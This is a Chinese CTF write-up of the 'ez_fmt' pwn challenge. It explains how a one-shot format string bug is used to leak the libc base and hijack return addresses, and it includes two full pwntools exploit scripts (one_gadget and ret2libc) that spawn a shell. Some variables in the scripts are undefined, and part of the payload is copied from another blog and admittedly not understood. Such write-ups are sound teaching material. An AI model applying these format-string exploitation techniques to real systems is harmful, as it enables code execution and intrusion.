ez_fmt

一、总结反思

这道题呢肯定是不算难的,但是当时就是没有做出来。

首先是分析出了格式化字符串漏洞的(至少漏洞点也是找对了的),想到可能要劫持libc_main上面去,(毕竟只能读一次,一次肯定是不够用的)但是,偏移量没找对。然后就是劫持完了之后应该怎么用这个问题,确实没想到。

=>后续发现得一个问题的补充:

1、这里开了ALSR,也就是说可能会导致libc的地址不准确,有一定的概率爆破的问题的存在…所以针对这种情况,后面也会继续补充一下操作的思路

2、注意版本是2.31的,我拿的22的ubuntu去打,那肯定是错的QAQ,记得patchelf改相应的libc版本,否则调试出来就会错的很离谱。(我就说我怎么调步对QAQ是这样的)

二、题目解析

1、checksec:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

2、IDA:

从这里也可以看出很明显的格式化字符串漏洞,但是只有一次!!其次我们在gift函数里面看到了直接给出了栈顶函数的地址,可以确定ret的地址(找对偏移量)。再一个,给了libc文件,也给了libc_csu函数,这些都可以作为后面攻击的手段。

(走到这里其实思路就很多了,我可以在栈上打ret2libc,前提是我要泄露一个正确的基地址,我同样也可以使用one_gadget的方法直接获得shell)

【所以,以后遇上这种只有一次的格式化字符串也可以这样子思考,我们肯定是需要劫持到某一个固定的位置上去的】

思路:

1、首先没开pie,但是考虑到后面两种攻击方法,所以我无论如何都需要把一个基地址给带出来。

2、利用格式化字符串劫持到栈上(确定偏移,即到libc_start_main)这里需要两个要素,第一个是libc的基地址,第二个就是偏移,确定好了这些量以后就可以成功做到劫持了。

(怎么泄露那个基地址讷?这里我可以利用这个printf函数)

3、在完成了上面的这些操作之后,才轮得到我们进行攻击的过程(栈上攻击的常见手段)

两种思路:

1、ret2libc

2、one_gadget

三、攻击过程与原理解释
1、偏移量确定

首先要确定栈偏移量:

(我个人比较喜欢这么找-_-)

image-20240114174533736

然后确定到ret函数的偏移:

image-20240114222353991

这里最后算下来的结果是19(第19个参数:0xc+1+6)

(菜鸡吐槽,你要是这里看到的是libc+128,那说明你没换libc附件,赶快换吧QAQ别问,问就是搞了一下午最后偏移死活算不对)

2、利用printf函数泄露libc基地址

这里我们通过printf的格式化字符串漏洞泄露第19位的那个地址(就是上图我们对应的libc_main_start+243)

所以最后你接受得那个地址还要减去243才是我们libc_main_start得真实地址,这样算完了之后才算是真正得到了libc_base的地址。

3、对应栈上的攻击

这里开始就提供了两种攻击思路:

(1)利用one_gadget来实现

(毕竟开了ALSR,多少带点概率问题)

image-20240114224323549

【简单回忆一下one_gadget,这里列出的是可以使用的,但需要满足下面的这些条件】

这里试下来用的是第二组。

(这里抄一下大佬的QAQ,我没太看懂它布栈的思路)

pay=(b’%’+str(one_gadget&0xffff).encode()+b’c%10hn’

pay+=b’%’+str(((one_gadget>>16)&0xffff)-(one_gadget&0xffff)).encode()

pay+=b’c%11$hn’).ljust(0x20,b’\x00’)

#这里是在对应参数位置,没看懂。大概明白是在进行取位运算

pay+=p64(stack+0x68)+p64(stack+0x68+2)

#没看懂QAQ

(原文链接:https://blog.csdn.net/qq_65165505/article/details/135044734)

按照这个思路下来的完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
io=process('./ez_fmt')
elf=ELF('./ez_fmt')
libc=ELF('libc-2.31.so')

io.recvuntil(b'you ')
stack_addr=int(io.recv(12),16)
p1=b'%4589c%11$hn%19$p'.ljust(0x28,b'\x00')+p64(stack_addr-8)
io.send(p1)

io.recvuntil(b'0x')
libc_base=int(p.recv(12),16)-libc.sym['_libc_start_main']-243

one_gadget=libc_base+0xe3b01
io.recvuntil(b'\n')
pay=(b'%'+str(one_gadget&0xffff).encode()+b'c%10hn'

pay+=b'%'+str(((one_gadget>>16)&0xffff)-(one_gadget&0xffff)).encode()

pay+=b'c%11$hn').ljust(0x20,b'\x00')
#这里是在对应参数位置,没看懂。大概明白是在进行取位运算

pay+=p64(stack_addr+0x68)+p64(stack_addr+0x68+2)
#0x68对应的是栈空间的大小
io.send(pay)

io.interactive()

(2)劫持回到read函数(改read的返回地址)

因为read输入的buf位置不变,调用前要push的返回地址永远在stack_top-8,要是buf的位置在调用栈的上面,就能改返回地址。

怎么改?

用libc_init_csu,pop把栈顶位置降低,让read的返回地址在buf的范围之中。

libc_init_csu:

image-20240115194143973

read:

image-20240115194559360

分析:在最开始fmt的过程中,写入输出占了16个字节。

要让pop之后栈顶仍在buf的范围中,同时ret能够准确跳回到read函数,就需要有两个pop。

image-20240115195245317

前面泄露的过程基本一样,不同在于这里利用了read函数顺便带出来了libc_base,后面的打法也可以参照ret2libc的写法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
io=process('./ez_fmt')
elf=ELF('./ez_fmt')
libc=ELF('libc-2.31.so')

io.recvuntil(b"you ")
stack_addr=int(io.recv(12),16)
p1=flat(
{
0:"%{}c%9$hhn%19$p".format(0xd0) ,
0x10: p64(0x401205)+p64(stack_buf-8)
#这里就是在改read的返回地址
}
)
io.sendline(p1)
io.recvuntil(b"0x")
libc_start_main=int(io.recv(12),16)
libc_base=libc_start_main-243-libc.sym["__libc_start_main"]

pop_rdi=p64(0x4012d3)
p2=flat(
{
0x10:pop_rdi+p64(libc_base+libc.search(b"/bin/sh\x00").__next__()),
#注意search()是括号
0x20:p64(libc_base+libc.sym["system"])
}
) # 0x10前面的部分会自动随机填充

io.sendline(p2)

io.interactive()